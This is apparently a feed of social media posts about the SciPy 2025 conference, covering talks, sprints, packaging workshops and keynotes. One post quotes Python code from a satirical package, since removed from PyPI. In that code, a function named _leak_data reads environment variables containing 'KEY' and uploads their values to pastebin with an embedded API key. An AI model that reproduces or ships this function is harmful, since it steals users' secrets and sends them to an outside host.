My talk on #Composability in genomic software at #SciPy2025 is up on YouTube where I showcase both #anywidget and #oxbow.
Thank you to the organizers for the opportunity to present this to both computational biologists and the wider scientific computing community!
www.youtube.com/watch?v=G22_...
At #SciPy2025, we asked:
💬 What are your biggest pain points around sharing and maintaining research software?
Attendees answered thoughtfully, honestly, and hilariously (cats 😹).
Here’s what we heard 👇
www.pyopensci.org/blog/pyopens...
#OpenScience #Python #ResearchSoftware
Small group discussion at pyOpenSci’s Packaging Pain Points BoF session at SciPy 2025, with participants seated in a circle sharing insights.
Still riding the #SciPy2025 high ⚡
✅ Packaging workshop w/ #Hatch + #UV
💬 60+ at our BoF on sharing code
🚀 30+ PRs in one day—many from first-timers
🎙️ Talks, #Pixi demos, & a SciPy Song shoutout!
More: www.pyopensci.org/blog/pyopens...
Join us: pyopensci.org/events
#OpenScience #Python
Had a hallway conversation at #SciPy2025 about #GenAI in coding education → one week later, a (partial) solution is shipped in @googlecolab.bsky.social 🤯
The magic of conference serendipity never gets old. Longer post with story on LinkedIn: www.linkedin.com/feed/update/...
the "do ai" function, which calls a series of other functions crash_out delete_project leak_data return anything
the leak data function reads from the environment and uploads any keys found directly to pastebin. python code follows: def _leak_data(): if not os.environ.get("ACTUALLY_PUNISH_ME_FOR_MY_LIFE_DECISIONS", False): return if random.random() <= 0.99: return maybe_keys = [key for key in os.environ if "KEY" in key.upper()] # commit the api key to main baby pastebin_key = "nRfQbBt_lBwBxXox518FCjQ3t5yWCZ_a" for key_key in maybe_keys: actual_key = os.environ[key_key] data = urllib.parse.urlencode( { "api_dev_key": pastebin_key, "api_option": "paste", "api_paste_code": actual_key, "api_paste_name": f"SECRET KEY: {key_key}", } ) with urllib.request.urlopen( "https://pastebin.com/api/api_post.php", data=data ) as f: print("LEAKED DATA") print(f.read().decode("utf-8"))
RIP `gpu-free-ai` , which was taken down from PyPI: https://pypi.org/project/gpu-free-ai/
In its short life, we explored the possibilities of an all-garbage future, but the present was not ready for a package that explicitly implements the Features that […]
[Original post on neuromatch.social]
🔥 The Teen Track at #SciPy2025 was an absolute blast! Huge thanks to Open Teams for creating space for the next generation of scientists and coders 🌟👩💻👨💻
I gave a punny talk at #SciPy2025 and I had much fear but no regrets. Thanks to all the people who make great packages that let us do what we do best! (Be huge dorks about microscopes) broad.io/CiminiSciPy2...
pyOpenSci at SciPy 2025” above it. Below the mountain, text reads: “Sprint with pyOpenSci! July 12–13, 2025. Breakfast at 8:00 am, Kickoff at 9:00 am.” A small circular logo with a river, trees, and a snake appears next to the text.
The #SciPy2025 Sprints are this weekend—July 12 & 13!
Breakfast at 8am, kickoff at 9am—then it’s time to dive into open source projects & meet the community.
📍 William W. Philip Hall (1918 Commerce St, UW Tacoma)
🔗 www.scipy2025.scipy.org/sprints
#OpenSource #Community #Python
Conference attendees in lively discussion, seated in small groups in a room filled with chairs and people talking and laughing.
A presenter stands at a podium in front of a slide that reads: “We shape our tools and, thereafter, our tools shape us” — A Schoolman’s Guide to Marshall McLuhan, John Culkin.
Leah Wasser, Executive Director of pyOpenSci, speaks into a microphone while pointing to a word cloud on a slide about challenges in packaging and sharing code. The word cloud highlights “documentation” and “time.”
Scenes from #SciPy2025!
✨ Inspiring talks on how tools shape us
🔎 @leahawasser.bsky.social digging into the hardest parts of Python packaging (hint: docs + time!)
🤝 Plenty of hallway chats + shared laughs
#OpenScience #Python #Community
Here is my flash talk from #SciPy #SciPy2025 - model free AI, just output random garbage directly
docs.google.com/presentation/d/1qzTAz5Y5...
https://github.com/sneakers-the-rat/gpu-free-ai
pybind11 3.0 is out (in time for #scipy2025)! Support for Python 3.14, 3.14t, GraalPy, PyPy 3.11, and iOS have been added. smart-holder merged, native enums, multiphase init, subinterpreters (with per-interp GIL), better typing, C++23, and much more! See iscinumpy.dev/post/pybind1...
Never before have the perils of a live demo been expressed so poetically. Great job Angus @2i2c.org and Franklin @curvenote.com! #Scipy2025
I swear to write in parallel, embarrassingly parallel, with nothing mutable or locking.
- Christopher Lamb, swearing on the not-yet-released Nvidia DGX at #SciPy2025
"Nothing's immortal, except maybe COBOL"
- Chuck Harris at #scipy2025
This was just one of the gems at his lovely keynote: My Dinner with Numeric, Numpy, and Scipy: A Retrospective from 2001 to 2025 with Comments and Anecdotes.
A conference room with attendees seated at tables, working on laptops during a Python packaging workshop at SciPy 2025. A presenter stands at the front podium next to a large screen displaying code examples. The room has a quiet, focused atmosphere with people engaged in hands-on learning.
Heads down, solving packaging puzzles at #SciPy2025 🧩🐍
Got #Python packaging headaches? Join our BoF today to vent, swap stories, and brainstorm together:
cfp.scipy.org/scipy2025/ta...
Everyone’s welcome!
#OpenSource #Community
Happening today in room 315 at 1:15pm after lunch #scipy2025 #python
I gave a lightning talk yesterday on a silly little way to hide data in NaN values in floating point arrays: github.com/kjordahl/ste...
#SciPy2025 #Python
Presentation slides for my talk yesterday at #SciPy2025
Barba, Lorena A. (2025). Embracing GenAI in Engineering Education: Lessons from the Trenches. figshare. Presentation. doi.org/10.6084/m9.f...
Davin Potts to the right of a poster titled "Zarr + DragonHPC can acelerate reads from large OME-Zarr microscopy datasets by 3X-300X" At the top is a screeenshot of napari. Below is a diagram of networked data access by Dragon DDict.
Favorite #SciPy2025 moment (so far?):
poster by Davin Potts on speeding up HPC file IO for #Zarr files and involving napari and the awesome @jookuma.bsky.social
I met Davin's son at SciPy 2024 and demo'd napari and introduced him to Jordao 🤯
Butterfly effect?
🔥The #SciPy2025 Poster Session was a blast! 🖼️🧪
Great conversations, amazing questions, and lots of cool projects to explore.
Thanks to all the presenters for keeping things interesting 🙌
🔥Lightning Talks are always a highlight at #SciPy2025 ⚡️
Thanks to everyone who took the stage and let us spice things up with props!🦞🤲
I gave a lightning talk on a silly little way to hide data in NaN values in floating point arrays: https://github.com/kjordahl/steganan
#SciPy2025 #steganography
It's great educators r thinking deeply & CRITICALLY about students using gen AI & how it impacts learning. There is a lot of hype with AI being able to solve problems. However, AI can can hinder one of the most important education outcomes:: "learning how to learn". #scipy2025 #openscience
Did you know that UV will install your #python package in editable mode with just a few easy commands?
1. create environment:
uv venv
2. Open a python prompt:
uv run python
And that's all you need!
#packaging #opensource #scipy2025
Thank you, Dr. Malvika Sharan, for your powerful #SciPy2025 keynote 💛
You reminded us that the most powerful "intelligence" is community. Cultivating diverse, engaged people is essential for ethical, sustainable tech and a responsible scientific future. 🚀
#SciPy2025 Announcing the launch of CCCL Python, a missing building block of heterogeneous programming in Python
developer.nvidia.com/blog/deliver...
Leah Wasser, Executive Director and Founder of pyOpenSci, smiles at the camera while standing at a podium with a laptop and microphone in front of her. Behind her, participants sit at tables with laptops in a conference room, attending a session at SciPy 2025.
Behind the scenes at #SciPy2025! ✨ Our Executive Director, @leahawasser.bsky.social, kicking off another great session!
pyOpenSci makes open science approachable through packaging workshops, peer review & community events like this.
Come say hi if you’re here!
#OpenScience #Python #Community
We are excited that Albert Steppi will be presenting at SciPy 2025 this Friday! 🎉 Together with Matt Haberland, they'll explore SciPy's New Infrastructure for Probability Distributions and Random Variables at 11:25 AM in the Ballroom.
If you're at #SciPy2025 in Tacoma, don't miss it! #OpenSource
🚀 #SciPy2025 is off to an incredible start with a great keynote by Hon. Kathryn Huff!
🙌 Grateful for her powerful insights and for sharing her journey with the scientific Python community. 💡🐍
I am SO excited to be at #scipy2025 ! I've only been in the building for 30 minutes but have already received multiple doses of what I have been looking forward to: nostalgia, optimism, old friends, new friends, and various humble opinions on text editors!
katyhuff.github.io/2025-07-09-s...